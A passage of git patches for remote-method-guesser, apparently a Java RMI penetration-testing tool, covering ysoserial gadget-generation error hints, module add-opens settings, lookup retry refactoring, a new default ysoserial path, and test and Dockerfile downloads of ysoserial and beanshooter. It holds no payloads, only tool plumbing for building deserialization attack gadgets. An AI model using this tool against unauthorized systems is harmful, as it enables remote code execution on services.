Throwable cause = ExceptionHandler.getCause(e); + + if (cause instanceof InaccessibleObjectException) + { + Logger.eprintlnMixedYellow("Caught", "InaccessibleObjectException", "during gadget generation."); + Logger.eprintlnMixedBlue("This is caused by the", "Java module system", "in newer Java versions."); + Logger.eprintln("Retry using Java 8 or pass add-open directives to remote-method-guessers manifest."); + } + + else + { + Logger.eprintlnMixedYellow("Caught unexpected", e.getClass().getName(), "during gadget generation."); + Logger.eprintMixedBlue("You probably specified", "a wrong gadget name", "or an "); + Logger.eprintlnPlainBlue("invalid gadget argument."); + } + ExceptionHandler.showStackTrace(e); RMGUtils.exit(); } From ea0a5ed11a3db40da066834de633662b33777d60 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sun, 9 Jun 2024 21:08:23 +0200 Subject: [PATCH 54/62] Add java.util add-opens directive --- pom.xml | 1 + 1 file changed, 1 insertion(+) diff --git a/pom.xml b/pom.xml index bcf6159..f8cf2a1 100644 --- a/pom.xml +++ b/pom.xml @@ -124,6 +124,7 @@ java.base/java.io + java.base/java.util java.base/java.lang java.base/java.lang.reflect java.base/jdk.internal.misc From da86a392221b7b4c1de11df508733a36c4362884 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sun, 9 Jun 2024 21:12:43 +0200 Subject: [PATCH 55/62] Add hint for missing ActivatableRef --- src/eu/tneitzel/rmg/internal/ExceptionHandler.java | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/src/eu/tneitzel/rmg/internal/ExceptionHandler.java b/src/eu/tneitzel/rmg/internal/ExceptionHandler.java index ddcec41..060c543 100644 --- a/src/eu/tneitzel/rmg/internal/ExceptionHandler.java +++ b/src/eu/tneitzel/rmg/internal/ExceptionHandler.java @@ -716,7 +716,17 @@ public static void lookupClassNotFoundException(Exception e, String name) Logger.eprintlnMixedYellow("Caught unexpected", "ClassNotFoundException", "during lookup action."); Logger.eprintlnMixedBlue("The class", name, "could not be resolved within your class path."); - Logger.eprintlnMixedBlue("This usually means that the RemoteObject is using a custom", "RMIClientSocketFactory or InvocationHandler."); + + if (name.equals("sun/rmi/server/ActivatableRef")) + { + Logger.eprintlnMixedBlue("Newer Java versions", "do not", "include this class anymore."); + Logger.eprintln("You can retry using an older Java version like Java 8."); + } + + else + { + Logger.eprintlnMixedBlue("This usually means that the RemoteObject is using a custom", "RMIClientSocketFactory or InvocationHandler."); + } showStackTrace(e); RMGUtils.exit(); From bbbdb9fd608df9457470a8ae6c8e4cf2d262adf8 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sun, 9 Jun 2024 21:21:05 +0200 Subject: [PATCH 56/62] Fix Java 8 compatibility bug --- src/eu/tneitzel/rmg/utils/YsoIntegration.java | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/eu/tneitzel/rmg/utils/YsoIntegration.java b/src/eu/tneitzel/rmg/utils/YsoIntegration.java index 15c0743..a52ae4c 100644 --- a/src/eu/tneitzel/rmg/utils/YsoIntegration.java +++ b/src/eu/tneitzel/rmg/utils/YsoIntegration.java @@ -3,7 +3,6 @@ import java.io.File; import java.lang.reflect.Constructor; import java.lang.reflect.Field; -import java.lang.reflect.InaccessibleObjectException; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import java.net.InetAddress; @@ -249,7 +248,7 @@ public static Object getPayloadObject(String gadget, String command) Logger.printlnPlain(" failed."); Throwable cause = ExceptionHandler.getCause(e); - if (cause instanceof InaccessibleObjectException) + if (cause.getClass().getName().equals("java.lang.reflect.InaccessibleObjectException")) { Logger.eprintlnMixedYellow("Caught", "InaccessibleObjectException", "during gadget generation."); Logger.eprintlnMixedBlue("This is caused by the", "Java module system", "in newer Java versions."); From d29118f44d60e5794597c7711d53a3af54330909 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sun, 9 Jun 2024 21:47:01 +0200 Subject: [PATCH 57/62] Move retry logic into RMIRegistryEndpoint --- .../rmg/networking/RMIRegistryEndpoint.java | 56 +++++++++++++++++-- .../tneitzel/rmg/operations/Dispatcher.java | 35 +----------- 2 files changed, 53 insertions(+), 38 deletions(-) diff --git a/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java b/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java index c841bd8..a4320d5 100644 --- a/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java +++ b/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java @@ -18,6 +18,7 @@ import eu.tneitzel.rmg.internal.RMGOption; import eu.tneitzel.rmg.io.Logger; import eu.tneitzel.rmg.plugin.PluginSystem; +import eu.tneitzel.rmg.utils.EmptyWrapper; import eu.tneitzel.rmg.utils.RMGUtils; import eu.tneitzel.rmg.utils.RemoteObjectWrapper; @@ -280,6 +281,42 @@ else if( cause instanceof SSRFException ) return remoteObject; } + /** + * It was observed that using --serial-version-uid option can cause an invalid transport return code + * exception during lookup. This seems to be some kind of race condition and cannot be reproduced reliably. + * We currently believe that RMI / Java does not clear the ObjectInput stream when reading an unknown class + * from it. The remaining bytes are left within the stream. Since RMI uses connection pooling, the next + * operation encounters the invalid bytes and fails. If this is the case, we just retry a few times. + * + * @param boundName the bound name to lookup + * @param maxRetries the maximum amount of retries to perform + * @return Remote object if lookup was successful. null otherwise. + */ + public Remote lookupWithRetries(String boundName, int maxRetries) + { + int retryCount = 0; + + while (retryCount < maxRetries) + { + try + { + return this.lookup(boundName); + } + + catch (java.rmi.UnmarshalException e) + { + retryCount += 1; + } + + catch (Exception e) + { + ExceptionHandler.unexpectedException(e, "lookup", "operation", true); + } + } + + return null; + } + /** * Same as the lookup action, but returns a RemoteObjectWrapper. * @@ -291,10 +328,21 @@ else if( cause instanceof SSRFException ) * @throws SecurityException if reflective access fails * @throws UnmarshalException if unmarshalling the return value fails */ - public RemoteObjectWrapper lookupWrapper(String boundName) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException, UnmarshalException + public RemoteObjectWrapper lookupWrapper(String boundName) { - Remote remoteObject = lookup(boundName); - return RemoteObjectWrapper.getInstance(remoteObject, boundName); + Remote remoteObject = lookupWithRetries(boundName, 5); + + if (remoteObject != null) + { + try + { + return RemoteObjectWrapper.getInstance(remoteObject, boundName); + } + + catch (IllegalArgumentException | IllegalAccessException | NoSuchFieldException | SecurityException e) {} + } + + return new EmptyWrapper(boundName); } /** @@ -308,7 +356,7 @@ public RemoteObjectWrapper lookupWrapper(String boundName) throws IllegalArgumen * @throws SecurityException if reflective access fails * @throws UnmarshalException if unmarshalling the return value fails */ - public RemoteObjectWrapper[] lookupWrappers(String[] boundNames) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException, UnmarshalException + public RemoteObjectWrapper[] lookupWrappers(String[] boundNames) { RemoteObjectWrapper[] wrappers = new RemoteObjectWrapper[boundNames.length]; diff --git a/src/eu/tneitzel/rmg/operations/Dispatcher.java b/src/eu/tneitzel/rmg/operations/Dispatcher.java index dcbf235..024ff39 100644 --- a/src/eu/tneitzel/rmg/operations/Dispatcher.java +++ b/src/eu/tneitzel/rmg/operations/Dispatcher.java @@ -89,12 +89,6 @@ private void obtainBoundNames() throws NoSuchObjectException * was specified on the command line, all registered bound names within the RMI registry are looked up. * The result is stored within an object attribute. * - * It was observed that using --serial-version-uid option can cause an invalid transport return code - * exception. This seems to be some kind of race condition and cannot be reproduced reliably. It seems - * that RMI / Java does not clear the ObjectInput stream when reading an unknown class from it. The remaining - * bytes are left within the stream. Since RMI uses connection pooling, the next operation encounteres the - * invalid bytes and fails. If this is the case, we just retry a few times. - * * @throws java.rmi.NoSuchObjectException is thrown when the specified RMI endpoint is not an RMI registry */ private void obtainBoundObjects() throws NoSuchObjectException @@ -123,34 +117,7 @@ private void obtainBoundObjects() throws NoSuchObjectException obtainBoundNames(); } - remoteObjects = new RemoteObjectWrapper[boundNames.length]; - - outer: for (int ctr = 0; ctr < boundNames.length; ctr++) - { - int retryCount = 0; - - while (retryCount < 5) - { - try - { - remoteObjects[ctr] = getRegistry().lookupWrapper(boundNames[ctr]); - continue outer; - } - - catch (java.rmi.UnmarshalException e) - { - retryCount += 1; - } - - catch (Exception e) - { - ExceptionHandler.unexpectedException(e, "lookup", "operation", true); - } - } - - remoteObjects[ctr] = new EmptyWrapper(boundNames[ctr]); - } - + remoteObjects = getRegistry().lookupWrappers(boundNames); } } From 20853db0b73a609f875d9f98758f657826761a1f Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Wed, 26 Jun 2024 11:33:15 +0200 Subject: [PATCH 58/62] Update tricot parameters --- tests/tricot.yml | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/tests/tricot.yml b/tests/tricot.yml index f8e81e1..80bb5de 100644 --- a/tests/tricot.yml +++ b/tests/tricot.yml @@ -7,7 +7,15 @@ tester: requires: files: - - /opt/ysoserial.jar + - path: ~/ysoserial.jar + url: 'https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar' + hash: + sha256: 2c9bddd6a1a4ec66c1078ea97dacb61eb66d1c41aec7b6d21e3c72214ce170f1 + - path: ~/.local/bin/beanshooter + url: 'https://github.com/qtc-de/beanshooter/releases/download/v4.1.0/beanshooter-4.1.0-jar-with-dependencies.jar' + hash: + sha256: fc9830784690a79f0fddf98f076ba1d07e7d09859c7d1082b7db54d2ac119ba9 + mode: 0o755 commands: - bash - beanshooter From 7a69248a83392c71b1afa10dea793827838b3231 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Wed, 26 Jun 2024 11:49:03 +0200 Subject: [PATCH 59/62] Allow ~ in ysoerial path --- src/config.properties | 2 +- src/eu/tneitzel/rmg/utils/RMGUtils.java | 11 +++++++++++ src/eu/tneitzel/rmg/utils/YsoIntegration.java | 5 +++-- 3 files changed, 15 insertions(+), 3 deletions(-) diff --git a/src/config.properties b/src/config.properties index a5c785e..f1bbbd1 100644 --- a/src/config.properties +++ b/src/config.properties @@ -40,7 +40,7 @@ FORCE_ACTIVATION = false NO_CANARY = false NO_PROGRESS = false THREADS = 5 -YSO = /opt/ysoserial.jar +YSO = ~/ysoserial.jar DGC_METHOD = clean REG_METHOD = lookup SERIAL_VERSION_UID = 2 diff --git a/src/eu/tneitzel/rmg/utils/RMGUtils.java b/src/eu/tneitzel/rmg/utils/RMGUtils.java index ceb5b67..a0474f2 100644 --- a/src/eu/tneitzel/rmg/utils/RMGUtils.java +++ b/src/eu/tneitzel/rmg/utils/RMGUtils.java @@ -1375,4 +1375,15 @@ public static boolean getBooleanOption(String opt, String[] args) return false; } + + /** + * Expand a leading ~/ with the users home directory. + * + * @param path input path + * @return expanded path + */ + public static String expandPath(String path) + { + return path.replaceFirst("^~/", System.getProperty("user.home") + "/"); + } } diff --git a/src/eu/tneitzel/rmg/utils/YsoIntegration.java b/src/eu/tneitzel/rmg/utils/YsoIntegration.java index a52ae4c..25e2992 100644 --- a/src/eu/tneitzel/rmg/utils/YsoIntegration.java +++ b/src/eu/tneitzel/rmg/utils/YsoIntegration.java @@ -91,11 +91,12 @@ private static Object generateBypassGadget(String command) */ private static URLClassLoader getClassLoader() throws MalformedURLException { - File ysoJar = new File((String)RMGOption.YSO.getValue()); + String path = RMGUtils.expandPath(RMGOption.YSO.getValue()); + File ysoJar = new File(path); if (!ysoJar.exists()) { - ExceptionHandler.ysoNotPresent(RMGOption.YSO.getValue()); + ExceptionHandler.ysoNotPresent(path); } return new URLClassLoader(new URL[] {ysoJar.toURI().toURL()}); From d380ad10fd06752c10238309dce99fd09cb73fb5 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Wed, 26 Jun 2024 11:52:49 +0200 Subject: [PATCH 60/62] Update CHANGELOG.md --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 93a8153..0b03058 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,7 +6,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). -## v5.1.0 - MMM DD, 2024 +## v5.1.0 - Jun 26, 2024 ### Added @@ -27,6 +27,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Refactor plugin system ([README](/plugins/README.md)) * IArgumentProvider now accepts an array of arguments instead of a string (a653e6367260ba46333e596d81da283a64fc80f1) * Let `enum` action continue on RemoteObject retrieval errors +* Change default ysoserial path to `~/ysoserial.jar` ## v5.0.0 - Dec 23, 2023 From b54bac407c687218b1145b349643e0d2653253f5 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Wed, 26 Jun 2024 11:53:01 +0200 Subject: [PATCH 61/62] Update ysoserial path in Dockerfile --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index 7718ca0..bf493e3 100644 --- a/Dockerfile +++ b/Dockerfile @@ -28,7 +28,7 @@ COPY --from=jdk-builder /jdk /usr/lib/jvm/java-11-openjdk RUN set -ex \ && ln -s /usr/lib/jvm/java-11-openjdk/bin/java /usr/bin/java \ && adduser -g '' -D -u 1000 rmg-user \ - && wget -O /opt/ysoserial.jar https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar + && wget -O /home/rmg-user/ysoserial.jar https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar USER rmg-user:rmg-user From 2278f7a62c9f478f90acb7b6f6a0dd7f94142bc9 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Wed, 26 Jun 2024 11:53:28 +0200 Subject: [PATCH 62/62] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index bdecca7..e3a6033 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ [![maven CI](https://github.com/qtc-de/remote-method-guesser/actions/workflows/maven-ci.yml/badge.svg?branch=master)](https://github.com/qtc-de/remote-method-guesser/actions/workflows/maven-ci.yml) [![maven CI](https://github.com/qtc-de/remote-method-guesser/actions/workflows/maven-ci.yml/badge.svg?branch=develop)](https://github.com/qtc-de/remote-method-guesser/actions/workflows/maven-ci.yml) -[![](https://img.shields.io/badge/version-5.0.0-blue)](https://github.com/qtc-de/remote-method-guesser/releases) +[![](https://img.shields.io/badge/version-5.1.0-blue)](https://github.com/qtc-de/remote-method-guesser/releases) [![](https://img.shields.io/badge/build%20system-maven-blue)](https://maven.apache.org/) ![](https://img.shields.io/badge/java-8%2b-blue) [![](https://img.shields.io/badge/license-GPL%20v3.0-blue)](https://github.com/qtc-de/remote-method-guesser/blob/master/LICENSE)